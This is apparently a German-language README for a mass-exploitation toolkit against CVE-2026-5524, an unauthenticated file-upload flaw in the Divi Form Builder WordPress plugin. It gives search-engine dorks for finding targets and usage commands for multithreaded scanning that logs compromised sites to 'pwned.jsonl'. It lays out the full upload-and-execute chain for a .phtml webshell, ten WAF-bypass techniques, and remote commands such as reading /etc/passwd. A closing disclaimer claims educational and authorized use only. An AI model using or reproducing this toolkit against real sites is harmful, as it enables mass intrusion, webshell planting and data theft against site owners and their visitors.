
Massives Exploit-Toolkit für CVE-2026-5524, eine nicht authentifizierte Datei-Upload-RCE in Divi Form Builder. Bietet Multithread-Scanning, WAF-Umgehungstechniken, benutzerdefinierte Webshell-Bereitstellung und interaktive Befehlsausführung.
| Feld | Wert |
|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critical) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affected | Divi Form Builder <= 5.1.8 |
| Patched | 5.1.9 |
| Type | Unauthenticated File Upload to RCE |
| Researcher | 0xd4rk5id3 - EnvoraSec |
Das Divi Form Builder Plugin für WordPress enthält eine nicht authentifizierte Schwachstelle zum Hochladen beliebiger Dateien. Der Handler do_image_upload() übergibt den vom Benutzer kontrollierten POST-Parameter acceptFileTypes direkt in einen regulären Ausdruck zur Validierung von Dateierweiterungen. Durch die Angabe eines Werts wie phtml kann ein Angreifer die .htaccess-Regel des Plugins umgehen, die nur die Erweiterung .php blockiert, und eine Webshell mit einer PHP-ausführbaren Erweiterung (.phtml, .phar, .php5, .php7 und ähnliche) hochladen.
Sobald die Datei in /wp-content/uploads/de_fb_uploads/ landet, führt Apache sie als PHP aus, was dem Angreifer Remote-Code-Ausführung als Web-Server-Benutzer gewährt.
Das Problem ist in Divi Form Builder 5.1.9 behoben.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Voraussetzungen: Python 3.8 oder neuer unter Linux, macOS oder WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Für Ziele hinter einer WAF (NinjaFirewall, Wordfence, ModSecurity) oder mit gehärteter Apache- oder nginx-Konfiguration.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Nach einem erfolgreichen Upload kann das Skript sofort einen Befehl ausführen oder in eine interaktive Shell wechseln.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Flag | Beschreibung |
|---|---|
-u URL | Einzelne Ziel-URL |
-l DATEI | Datei mit Zielliste, eine URL pro Zeile |
-t N | Anzahl gleichzeitiger Threads (Standard 10) |
--timeout N | Timeout für Anfragen in Sekunden (Standard 15) |
-o DATEI | Ergebnisse in JSONL-Datei speichern |
--proxy URL | Datenverkehr über HTTP-Proxy leiten |
--nonce HASH | Manuell angegebenen Nonce verwenden, automatische Erkennung überspringen |
--ext EXT | Einzelne Erweiterung erzwingen, statt der vollständigen Bypass-Liste |
--shell | In interaktive RCE-Shell wechseln (nur einzelnes Ziel) |
--cmd BEFEHL | Einen Befehl auf dem Ziel ausführen, dann beenden |
--shell-file DATEI | Benutzerdefinierte Shell-Payload hochladen statt der integrierten |
--no-verify | Schritt der Post-Upload-RCE-Überprüfung überspringen |
--strict-verify | Shell-URL auf HTTP-200 prüfen, um Fehlalarme zu filtern |
--user-ini | .user.ini-Dropper für PHP-FPM-Umgebungen hochladen |
--htaccess | .htaccess-Reaktivierer für Apache-Umgebungen hochladen |
--aggressive | Jede verfügbare Umgehungstechnik aktivieren |
--null-byte | Null-Byte und Doppelerweiterungsversuche einschließen |
--path-traversal | Hochladen in /uploads/YYYY/MM/-Unterverzeichnisse versuchen |
--debug | Roh-HTTP-Antworten zur Diagnose ausgeben |
Der verwundbare Handler erstellt einen Regex aus Benutzereingaben ohne Bereinigung.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Durch das Senden von acceptFileTypes=phtml stimmt der resultierende Regex /\.(phtml)$/i mit Dateinamen überein, die auf .phtml enden, obwohl die eigene .htaccess-Datei des Plugins nur die Erweiterung .php blockiert. Apache führt dann die hochgeladene Datei als PHP aus, was zu Remote-Code-Ausführung führt.
Durchsuchen Sie eine Seite, die ein Divi Form Builder-Formular einbettet (/, /contact, /quote, usw.). Fügen Sie einen Parameter ?nocache=<zufall> hinzu, um Varnish, WP Rocket und andere Seiten-Caches zu umgehen, die sonst einen veralteten Nonce ausliefern würden.
Extrahieren Sie den Wert von fb_nonce aus dem lokalisierten JavaScript-Objekt:
de_fb_obj = {"fb_nonce":"<10 Hex-Zeichen>", ...}
Senden Sie ein multipart-Formular per POST an /wp-admin/admin-ajax.php mit:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Lesen Sie die Datei-URL aus der JSON-Antwort:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Fordern Sie die Shell mit einem base64-codierten Befehl an:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Technik | Ziele |
|---|---|---|
| 1 | Alternative PHP-Erweiterungen .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Plugin-.htaccess-Regel, die nur .php blockiert |
| 2 | Variierte Groß-/Kleinschreibung .PHTML, .PHP5, .PhTmL | Groß-/Kleinschreibung-sensitive WAF-Signaturen (NinjaFirewall) |
| 3 | Doppelerweiterung .phtml.jpg, .php.jpg | Apache mod_mime-Inhaltsverhandlungs-Probleme |
| 4 | Null-Byte .php%00.jpg, .phtml%00.txt | Alte PHP-Versionen (kleiner als 5.3.4) und bestimmte Parser |
| 5 | Nachgestelltes Leerzeichen oder Punkt .php , .php. | Windows IIS und ältere Apache-Versionen |
| 6 | Content-Type-Spoofing application/octet-stream | WAFs, die auf den multipart-Content-Type-Header achten |
| 7 | Echtes .htaccess hochladen, das PHP für .gif, .png, .jpg, .txt, .html usw. reaktiviert | Apache-Server mit AllowOverride All |
| 8 | .user.ini mit auto_prepend_file hochladen | PHP-FPM-Umgebungen |
| 9 | Dateinamen-Injektion durch multipart-Grenz-Manipulation | Proxies und WAFs, die den Anforderungstext neu parsen |
| 10 | Path Traversal ../shell.phtml im Dateinamen | Plugin-Verzeichnisbeschränkungen |
Das Skript probiert jede Technik in Prioritätsreihenfolge und versucht bei --aggressive jede, selbst wenn der erste Upload erfolgreich gemeldet wurde.
| Komponente | Technologie |
|---|---|
| Sprache | Python 3.8+ |
| HTTP-Client | requests |
| TLS-Handhabung | urllib3 im unsicheren Modus für selbstsignierte Zertifikate |
| Nebenläufigkeit | concurrent.futures.ThreadPoolExecutor für Massenscans |
| Parsing | re für Nonce-Extraktion, json für Antwortverarbeitung |
| Kodierung | base64 für Webshell-Befehlsparameter |
| CLI | argparse mit 19 konfigurierbaren Flags |
| Komponente | Technologie |
|---|---|
| Sprache | PHP 7.0+ |
| Ausführungsfunktionen | system(), shell_exec(), proc_open(), passthru(), popen() |
| Frontend | Reines HTML-Formular, kein JavaScript-Framework |
| Funktionen | Dateibrowser, Befehlsausführung, Datenbankzugriff, Reverse Shell, selbstinstallierende .htaccess und .user.ini |
| Größe | Ungefähr 16 KB |
| Umgehungsebenen | Sechs unabhängige Ausführungspfade plus codierte Payloads |
cve-2026-5524/
|-- CVE-2026-5524.py Haupt-Exploit-Skript
|-- bypass.phtml 16 KB mehrschichtige PHP-Webshell
|-- htaccess_enable.phtml Dropper, der reaktivierendes .htaccess schreibt
|-- user_ini.phtml Dropper, der .user.ini für PHP-FPM schreibt
|-- targets.txt Beispiel-Zielliste
|-- pwned.jsonl Von der -o-Flag bei Massenscans erzeugt
|-- requirements.txt Python-Abhängigkeiten
`-- README.md Dieses Dokument
+--------------------------------------------------+
| 1. Aufklaerung |
| GET /?nocache=<zufall> |
| Extrahiere fb_nonce aus de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Exploit erstellen |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Server akzeptiert und speichert Datei |
| /uploads/de_fb_uploads/<zufall>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Ausfuehren |
| GET shell.phtml?x=base64(Befehl) |
| Remote-Code-Ausfuehrung erreicht |
+--------------------------------------------------+
Dieses Tool wird zu Bildungszwecken und für den Einsatz während autorisierter Penetrationstests bereitgestellt. Beispiele für akzeptable Nutzung sind:
Die nicht autorisierte Nutzung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist in praktisch jeder Rechtsordnung illegal und strengstens untersagt. Der Autor billigt keinen Missbrauch dieses Codes und übernimmt keine Verantwortung dafür.
J'ai la permission et je suis autorisé à effectuer ce pentest. (Ich habe die Erlaubnis und bin autorisiert, diesen Pentest durchzuführen.)
Gesetze von wahrscheinlicher Relevanz umfassen Indonesiens UU ITE, den US Computer Fraud and Abuse Act, die Cybercrime-Konvention der Europäischen Union und entsprechende Gesetze andernorts. Im Zweifelsfall holen Sie zuerst eine schriftliche Autorisierung ein.
Nur für Bildungszwecke. Siehe den Haftungsausschluss für die vollständigen Nutzungsbedingungen.